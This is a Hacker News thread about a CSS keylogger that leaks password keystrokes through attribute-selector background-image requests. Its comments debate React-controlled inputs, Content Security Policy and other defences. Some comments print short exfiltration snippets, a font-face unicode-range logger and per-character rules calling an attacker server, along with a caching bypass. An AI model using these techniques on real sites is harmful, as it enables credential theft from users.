
Show HN: A CSS Keylogger - maxchehab
https://github.com/maxchehab/CSS-Keylogging
======
rickdmer
Hmm, that's pretty bad. CSS probably shouldn't be able to read password
inputs.

Edit: This doesn't seem to work for me in Chrome 63.0.3239.132

Edit 2: OK, so it appears that this will only work on a password input that
updates its "value" attribute with the typed in value. This doesn't happen
unless there is JavaScript that updates the value attr with the input.value

~~~
oblosys
If you use React, updating the value on every change is a very common pattern.

~~~
enobrev
This is speculative as I haven't tested out this vulnerability or attempted to
avoid it (yet), but I imagine this means it would be a good idea to make
password fields "uncontrolled"[1] if you're using react.

1: [https://reactjs.org/docs/uncontrolled-
components.html](https://reactjs.org/docs/uncontrolled-components.html)

~~~
yuchi
Or just use correctly defined CSP

~~~
enobrev
I hadn't realized a CSP could protect against this sort of thing. Thanks for
the tip!

------
myfonj
To some limited degree (you can detect presence, not position or number of
occurences of character), you can do CSS only 'keylogging' even for non-
reactive (sans JavaScript) input: you don't have to use attribute selector
(which does't work without physical updates), but can exploit webfont with
single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2]
some time ago:

    
    
        <!doctype html>
        <title>css keylogger</title>
        <style>
        @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
        @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
        @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
        @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
        input { font-family: x, 'Comic sans ms'; }
        </style>
        <input value="a">type `bcd` and watch network log
    

[1]
[https://github.com/jbtronics/CrookedStyleSheets/issues/24](https://github.com/jbtronics/CrookedStyleSheets/issues/24)
[2]
[https://news.ycombinator.com/item?id=16157773](https://news.ycombinator.com/item?id=16157773)

~~~
Manishearth
This will not work with password fields.

~~~
sachleen
Then there's always this: [https://www.troyhunt.com/bypassing-browser-
security-warnings...](https://www.troyhunt.com/bypassing-browser-security-
warnings-with-pseudo-password-fields/)

------
teilo
This has nothing to do with vulnerabilities in CSS or Javascript. It has to do
with ill-conceived authentication implementations, written in Javascript, that
save passwords in the DOM using attributes that are then accessible via CSS.
That is a vulnerability on the website itself. It is also an idiotic thing to
do.

~~~
blixt
I wouldn't be so dismissive about this. It doesn't really matter what bucket
this security issue falls under. It also doesn't change much whether it's
"idiotic" or not.

The fact remains that the coding practices on a website used by about a
billion people open up for part 1 of this vulnerability (these CSS styles on
Instagram do load external resources as you type), and there are plenty of
ways for part 2 (inject the CSS) to occur on many less well maintained sites.

------
AndrewStephens
This is neat but doesn't really work as an attack.

The CSS selectors work on the value HtmlNode attribute rather than the
Javascript "value" value, which aren't linked normally. The Instagram password
field mentioned in the readme.md DOES work this way due to some custom
javascript, for reasons that escape me.

[edit] Other people pointed this out first.

Also, if you are going to all the trouble of making an extension to inject
your evil CSS into a page, why not go the whole hog and inject evil ecmascript
instead?

~~~
slig
> The Instagram password field mentioned in the readme.md DOES work this way
> due to some custom javascript, for reasons that escape me

Instagram is a React app and React works that way.

~~~
bfrydl
React doesn't work that way. It's a convention which I persoally have always
found questionable.

~~~
benatkin
It's more than a convention. It's presented as the default way to do it in the
official docs. [https://reactjs.org/docs/forms.html#controlled-
components](https://reactjs.org/docs/forms.html#controlled-components)

~~~
acostanza
Could use an uncontrolled component, which I don't think is vulnerable?
[https://reactjs.org/docs/uncontrolled-
components.html](https://reactjs.org/docs/uncontrolled-components.html)

For simple username/password entry I see no reason to use a controlled
component.

~~~
baddox
That should be fine, at least for avoiding this attack.

In general, though, there are solid reasons to use this pattern in React. With
uncontrolled components, you won’t be able to use React to do form validation
or AJAX form submission. You would need to bypass the React virtual DOM and
attach listeners on the actual DOM elements.

~~~
rav
You can still do form validation on submit though, according to dimgl's
earlier comment:
[https://news.ycombinator.com/item?id=16426131](https://news.ycombinator.com/item?id=16426131)

~~~
baddox
Very good point! With that method you can still display validation errors in a
“Reacty” way. But you still don’t get pre-submit validation, like marking an
input invalid on blur, or displaying real-time password strength.

~~~
insin
You can still capture an uncontrolled input's data `onChange` and `onBlur` for
validation, password strength checking, later submission etc., you just don't
reflect it back into the input on every render.

The only thing it affects is your ability to change the input's data via a
state change, but for a password field would you ever want to do anything but
get its current value or clear it?

~~~
baddox
You’re right. With a little effort you could create reusable React form fields
that are not controlled but which communicate their value/blur/etc. back to
React for validation purposes.

And yes, for password inputs, I can’t think of a case where you would
absolutely need to control the value via React. Things like password
confirmation validation and password strength indicators can be implemented
via onChange and onBlur. It’s more tedious than the normal controlled input
pattern, but given vulnerabilities like this one, it’s likely worth creating
reusable uncontrolled inputs.

~~~
benatkin
I think the doc ought to be updated to say that you shouldn't make a password
field a controlled component, and maybe even warnings added if you set value
at all.

------
Kequc
This exploit might be defeated with the following css:

input[type="password"] { background-image: none !important; }

And if the exploit uses `!important` then you just need to make your selector
more specific such as putting it inside an id. If you have malicious
javascript running on your page there are better ways to steal data. I feel
there is low risk of coming across this problem in the wild.

~~~
Illniyar
Actually if you use inline style with important there is no way to override
it.

I.e. <input type="password" style="background-image:none !important"/>

~~~
ry_ry
Although that does rely on targeting that specific attribute. There are
probably a handful of ways to trigger an http request in this instance.

You don't actually even need to select that specific node - whilst you can't
use :after on replaced elements, if the input has a sibling an attacker could
input[type="password"] + div:after or something along those lines.

The main takeaway for me is that making a password field a controlled
component is a marginal security risk in some instances, and letting people
pump their own styles into sign-in pages is a bad idea.

------
danschumann
I've been noticing a lot of CSP talk lately, how CSP is the end-all be-all
solution for lots of these types of attacks. Makes me think we should have
more articles about how to properly implement a CSP! (content security policy-
prevents requests to websites not on the white-list -- the background image
request would be rejected)

------
bfred_it
No it does not. CSS selectors do _not_ apply to input content and `[value]`
selectors apply to attributes, which are _not_ updated by just typing in it.

This is _not_ a CSS keylogger if you need to update the attributes with the
input value via JS.

Edit: this apparently works on React sites because React seems to update the
`value` attribute as well. Maybe _that_ should be fixed as it’s unnecessary.

------
tritium
To be really dangerous, I think this would need to defeat client-side cache
strategies. If the browser caches each resource, the server-side reads
wouldn't account for repeated characters or overall length with perfect
accuracy. Consider palindromes like "racecar."

This would still put many, if not most, passwords within guessable striking
distance, for anyone able to intercept plain-text HTTP traffic, between Alice
(the client) and Bob (the CSS image resource server).

~~~
alasdair_
The server just returns a 400, causing the browser to no longer cache it.

~~~
tritium
True! And now I’m realizing, depending on position in the network, the server
doen’t even need to exist, if one only needed to MITM the request traffic...
Geeze.

------
vbezhenar
I wonder if it's possible to make auto-updating CSS. CSS can use @import
url("another.css"), and "another.css" might be returned with delay and import
"another2.css", but I'm not sure if browser would process current css before
it'll import everything.

If this would work, it could spy even without React. Detect first character,
then server returns next CSS to detect second character and so on.

------
sachleen
You'd have to have all permutations of any length password in the css file AND
it would have to be pre-filled using the value attribute.

The original post on this talks about it in more detail:

[https://www.mike-gualtieri.com/posts/stealing-data-with-
css-...](https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-
and-defense)

Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal
targeted data using Cascading Style Sheets (CSS) as an attack vector. Due to
the modern web's heavy reliance on CSS, a wide variety of data is potentially
at risk, including: usernames, passwords, and sensitive data such as date of
birth, social security numbers, and credit card numbers. The technique can
also be used to de-anonymize users on dark nets like Tor. Defense methods are
discussed for both website operators as well as web users, and a pair of
browser extensions are offered which guard against this class of attack.

~~~
jaymzcampbell
It is using an attribute selector that matches against the last character only
- so no giant file of permutations required.

~~~
hughes
Also, and critically, the server always responds with an HTTP 400 status code.
This prevents caching in most browsers, so the request will be made again when
a key is repeated.

------
fiatjaf
Why not

    
    
      input[type="password"] {
        background-image: url(attr(value));
      }
    
    ?

~~~
bfred_it
url(attr(...)) isn't supported by any browser yet, AFAIK

------
javajosh
Interestingly, you can defeat this key logger by typing the last character
first, use the arrow key to go left and type in the rest. This works because
the CSS selector only matches the end of the value input.

~~~
spyder
yea, and also when copy-pasting the password.

------
twhb
This isn’t a problem. CSS could already control what’s displayed and what
effect it has. It could already make clicking “next page” open an invisible
chat to their account, your password box send your password as a message, and
your message from a friend read anything they want. It’s always been a trusted
asset.

What might be a problem is developers not treating it as such.

------
paxy
Can't Chrome extensions already intercept network traffic though? Why does
this need to be done at the CSS level?

~~~
rocqua
Chrome extensions are used here as the method for injecting CSS, but there are
other possible ways to inject such CSS.

e.g. ads.

------
wuyishan
Couldn't Content Security Policy (CSP) [1] be used to mitigate this attack?

[1]: [https://developer.mozilla.org/en-
US/docs/Web/HTTP/CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)

~~~
maxchehab
It actually can't. Instagram does use this protect java-script injection from
extensions, but clearly injecting CSS is allowed.

~~~
sbarre
But could you use CSP to block the image loading that happens in the CSS with
'img-src' definitions?

Someone else in this thread suggested that as well.

------
Raphmedia
I can't seem to make it work from a web page. Perhaps it's for extensions
only?

[https://jsfiddle.net/tdwsw6zo/3/](https://jsfiddle.net/tdwsw6zo/3/)

~~~
rickdmer
The input has to have the "value" set in the HTML.
[https://jsfiddle.net/tdwsw6zo/4/](https://jsfiddle.net/tdwsw6zo/4/)

~~~
Raphmedia
Well, yes of course but that's simply an attribute selector parsing the raw
HTML.

This can be done with any attribute:

<input type="password" hackernews="isthebestwebsite">

input[type="password"][hackernews$="isthebestwebsite"] { background-image:
url("[http://placehold.it/15x15?text=h4x0r");](http://placehold.it/15x15?text=h4x0r"\);)
}

That's not a keylogger at all, the data is already printed in the HTML source.

~~~
SpaceNugget
the point is that react updates the attribute every time you type a character
into the password field. So if you have the rules for background-image:
url("[http://your.server/a");](http://your.server/a"\);) for password fields
that END with 'a', and a rule background-image:
url("[http://your.server/b");](http://your.server/b"\);) for password fields
that END with 'b', if you type "ab", after the a, the value attribute is
updated and the css will request the background for passwords that end with
'a', then when you type b, the attribute is updated again and the css will
request the password for 'b's. so you check your server logs and you will have
2 requests, one for a and one for b. you now know that they typed "ab".

Most people in the comments don't seem to understand how this works. i.e. you
don't need to have rules for all possible passwords, just one for each
character.

------
jlg23
I have not tried it, but if it works (it should): Chapeau, a very neat exploit
indeed.

------
orliesaurus
Why do you have to activate the extension before entering the password?

~~~
okanesen
So you can test the "exploit" obviously.

~~~
orliesaurus
yes obviously, but in a real world scenario how would that work? Malicious
extension loads the CSS file in my current tab and sniffs my password on the
attacker's server? Can Chrome extensions load CSS without me having to
click/activate them?

~~~
maxchehab
Yes they can. This attack does not have to be carried done through a chrome
extension. I simply chose that because it is the easiest to show off. This can
be hidden inside of a malicious npm module or injected into a website that has
poor input sanitization.

The most important aspect of this attack is that it is carried out through
css. It is possible to block remote javascript code from an extension, in
fact, if one wanted to inject javascript into
[https://instagram.com](https://instagram.com) (my example on github), they
would fail.

~~~
orliesaurus
Thanks OP - that answers it!

------
sexy_seedbox
One way of mitigating this is to have strong passwords NOT in alphanumeric
characters (if allowed by website), such as mixing emojis with Asian
characters.

------
moeadham
I hate the internet.

~~~
slantaclaus
You should try the cloud it works way better

------
fareesh
Reminds me of meltdown. Pretty neat.

------
jandrese
CSS has gone too far. At least when I'm worried about a nasty javascript
attack from a site I can be somewhat reassured that noscript/umatrix will
work. Am I going to have to start whitelisting CSS now too? Am I too late?

~~~
Raphmedia
You are. CSS has gone "too far" the second it allowed linking to images.

I can simply background-image:url("myTrackingPixel.png") and then track
whenever someone tries to load that image from my server.

~~~
jandrese
It drives me crazy when I see someone has implemented Doom in CSS, but it
still requires black magic to do a simple responsive three column layout
without using bleeding edge features that aren't widely supported yet.

~~~
Raphmedia
Browser support (not using Flexbox because of IE) is not that hard once you
get your head around it:

view-
source:[http://alistapart.com/d/holygrail/example_3.html](http://alistapart.com/d/holygrail/example_3.html)

[http://alistapart.com/d/holygrail/example_3.html](http://alistapart.com/d/holygrail/example_3.html)

~~~
dmitrygr
Falls apart entirely on phones (tiny columns of one word wide each, AND
horizontal scrolling), so you only proved OP's point...

~~~
notahacker
In fairness, that was written in 2006 when people browsing the internet on
their dumbphones generally got served entirely different web pages. And you
could fix it with media queries. But the fact that it needed hacky stuff like
arbitrarily large positive padding and negative margin values to achieve a
"holy grail" of the standard way websites had been laid out using tables for
the previous decade or so didn't reflect very well on CSS spec drafters or the
browser vendors of the time.

~~~
Raphmedia
To be honest, nothing ever stopped anyone from using display:table;,
display:table-row; and display:table-cell;

~~~
notahacker
This probably is the most robust solution now, but IE6 mattered then, and it
didn't even work in the shiny new IE7

------
commandlinefan
ALWAYS browse with devtools open, and pay close attention to every packet
that's being sent out (especially when you're not expecting any to...)

~~~
saagarjha
This isn't practical at all. Many websites perform hundreds of requests.

~~~
commandlinefan
Not while I'm sitting around not doing anything, at least not normally. Gmail
refreshes itself every few seconds, but I'd be awfully suspicious if I started
seeing a single packet being transmitted each time I typed a character into a
password box.

